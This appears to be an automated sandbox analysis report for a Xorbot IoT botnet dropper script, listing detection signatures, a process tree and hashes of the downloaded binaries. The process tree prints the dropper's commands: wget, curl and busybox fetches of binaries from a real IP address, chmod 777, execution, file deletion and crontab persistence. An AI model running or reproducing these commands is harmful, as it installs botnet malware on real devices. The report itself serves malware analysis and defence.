Analysis

  • max time kernel
    150s
  • max time network
    91s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/12/2024, 06:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d46a3232f2d9e39c42e2378e3b9ee5f6

  • SHA1

    1c15292de404d15bfb04ffd8af708533296f3d87

  • SHA256

    273e3c9752c4ac7d7525722250b775dc812f042fb3f98d007663ca7f6e374f95

  • SHA512

    d6c231f3e22e63ecb5b7e3e9e3b124499280bc190ed2fc49b52e4ded2562482f761eb2ca23ca3e7e21cef55306de30948802b94cbd460696c973d3656aa8ef15

  • SSDEEP

    192:xiE2+Yb3TjllJkOq6v3XJZJeyWQpFXGOq6v3lJZJeyzlgd2+Yb3Ty:xipllGQpFllgr

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:698
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:700
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:714
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/chmod
          chmod 777 zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • File and Directory Permissions Modification
          PID:723
        • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB
          ./zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
          • Executes dropped EXE
          PID:724
        • /bin/rm
          rm zZM090BtLw96clc18K3325Bi3InWJUorwB
          2⤵
            PID:726
          • /usr/bin/wget
            wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:727
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:728
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Writes file to tmp directory
            PID:729
          • /bin/chmod
            chmod 777 ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • File and Directory Permissions Modification
            PID:730
          • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            ./ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:731
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:733
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:734
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:735
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:736
                • /bin/rm
                  rm ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG
                  2⤵
                    PID:738
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                    2⤵
                      PID:741
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                      2⤵
                        PID:742
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        2⤵
                        • Writes file to tmp directory
                        PID:743
                      • /bin/chmod
                        chmod 777 OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        2⤵
                        • File and Directory Permissions Modification
                        PID:744
                      • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        ./OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        2⤵
                        • Executes dropped EXE
                        PID:745
                      • /bin/rm
                        rm OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9
                        2⤵
                          PID:747
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                          2⤵
                            PID:748
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                            2⤵
                              PID:749
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              2⤵
                              • Writes file to tmp directory
                              PID:750
                            • /bin/chmod
                              chmod 777 Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              2⤵
                              • File and Directory Permissions Modification
                              PID:751
                            • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              ./Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              2⤵
                              • Executes dropped EXE
                              PID:752
                            • /bin/rm
                              rm Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX
                              2⤵
                                PID:757
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                2⤵
                                  PID:758
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                  2⤵
                                    PID:759
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:760
                                  • /bin/chmod
                                    chmod 777 Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:761
                                  • /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    ./Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    2⤵
                                    • Executes dropped EXE
                                    PID:762
                                  • /bin/rm
                                    rm Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS
                                    2⤵
                                      PID:764
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                      2⤵
                                        PID:765
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                        2⤵
                                          PID:766
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:767
                                        • /bin/chmod
                                          chmod 777 jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:772
                                        • /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          ./jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          2⤵
                                          • Executes dropped EXE
                                          PID:773
                                        • /bin/rm
                                          rm jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O
                                          2⤵
                                            PID:775
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                            2⤵
                                              PID:777
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                              2⤵
                                                PID:779
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:780
                                              • /bin/chmod
                                                chmod 777 554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:787
                                              • /tmp/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                ./554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                2⤵
                                                • Executes dropped EXE
                                                PID:788
                                              • /bin/rm
                                                rm 554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG
                                                2⤵
                                                  PID:790
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                  2⤵
                                                    PID:791
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                    2⤵
                                                      PID:794
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:795
                                                    • /bin/chmod
                                                      chmod 777 CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:802
                                                    • /tmp/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      ./CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:803
                                                    • /bin/rm
                                                      rm CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS
                                                      2⤵
                                                        PID:805
                                                      • /usr/bin/wget
                                                        wget http://216.126.231.240/bins/kgaSzZ8O8pkx8ZufcUbn3btHWUEdw18zbJ
                                                        2⤵
                                                          PID:807

                                                      Network

                                                            MITRE ATT&CK Enterprise v15

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            • /tmp/554YBvgpDb1kJ3wNvfSgCTRbdge7ZlzODG

                                                              Filesize

                                                              99KB

                                                              MD5

                                                              9438d9bc392bcf300a5583b6df5bc8f6

                                                              SHA1

                                                              375a6ae34b516f6f3eeea8030c4084f585017efa

                                                              SHA256

                                                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                              SHA512

                                                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                            • /tmp/Bu9yglR9x0Y5e2jBKPnji9UncVsXgThItX

                                                              Filesize

                                                              107KB

                                                              MD5

                                                              eb9c3a0de91fcf16ba17cb24608df68c

                                                              SHA1

                                                              09d95a7d70d5e115d103be51edff7c498d272fac

                                                              SHA256

                                                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                              SHA512

                                                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                            • /tmp/CcYURC2GhnByba6hCZoPyBczFBY7JnqwUS

                                                              Filesize

                                                              111KB

                                                              MD5

                                                              701e7a55a4f3650f5feee92a9860e5fc

                                                              SHA1

                                                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                              SHA256

                                                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                              SHA512

                                                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                            • /tmp/OhFbeFlNh48rnwYnWPke5hjvy6aMpgW5c9

                                                              Filesize

                                                              151KB

                                                              MD5

                                                              6c583043d91c55aa470c08c87058e917

                                                              SHA1

                                                              abf65a5b9bba69980278ad09356e53de8bb89439

                                                              SHA256

                                                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                              SHA512

                                                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                            • /tmp/Vn4qxsEXqKf1c64htQMLQ9ZX7wNO6HrNTS

                                                              Filesize

                                                              117KB

                                                              MD5

                                                              849fa04ef88a8e8de32cb2e8538de5fe

                                                              SHA1

                                                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                              SHA256

                                                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                              SHA512

                                                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                            • /tmp/jycs76M6vBIZ1GmDmLy0gXM9o11CS79Z9O

                                                              Filesize

                                                              112KB

                                                              MD5

                                                              05d7857dcead18bbd86d2935f591873c

                                                              SHA1

                                                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                              SHA256

                                                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                              SHA512

                                                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                            • /tmp/ywFFVVO9FFFiqIhnp3CjuvxoRt2eOTpwUG

                                                              Filesize

                                                              151KB

                                                              MD5

                                                              3c90d5820bddcf7c5d1bd21dfa49d958

                                                              SHA1

                                                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                              SHA256

                                                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                              SHA512

                                                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                            • /tmp/zZM090BtLw96clc18K3325Bi3InWJUorwB

                                                              Filesize

                                                              177KB

                                                              MD5

                                                              786d75a158fe731feca3880f436082c0

                                                              SHA1

                                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                              SHA256

                                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                              SHA512

                                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                            • /var/spool/cron/crontabs/tmp.FzoI4t

                                                              Filesize

                                                              210B

                                                              MD5

                                                              2d34029fa8cbeb819fd0166bad52ce24

                                                              SHA1

                                                              0f3a92df309640e772a5282e0ad03158a34a5e52

                                                              SHA256

                                                              f8d9aaaaad767f4adbacf09b71edb9a588814b3966cb927b36952bea79b60f30

                                                              SHA512

                                                              c8ff97477d2b881434c3a13c9a2df2f81c8368328cab10551dccc06bbb517f61b97ae4f23766dccb86b9fdbec468b370eba76421220e1f4f0af90a0abb4280a4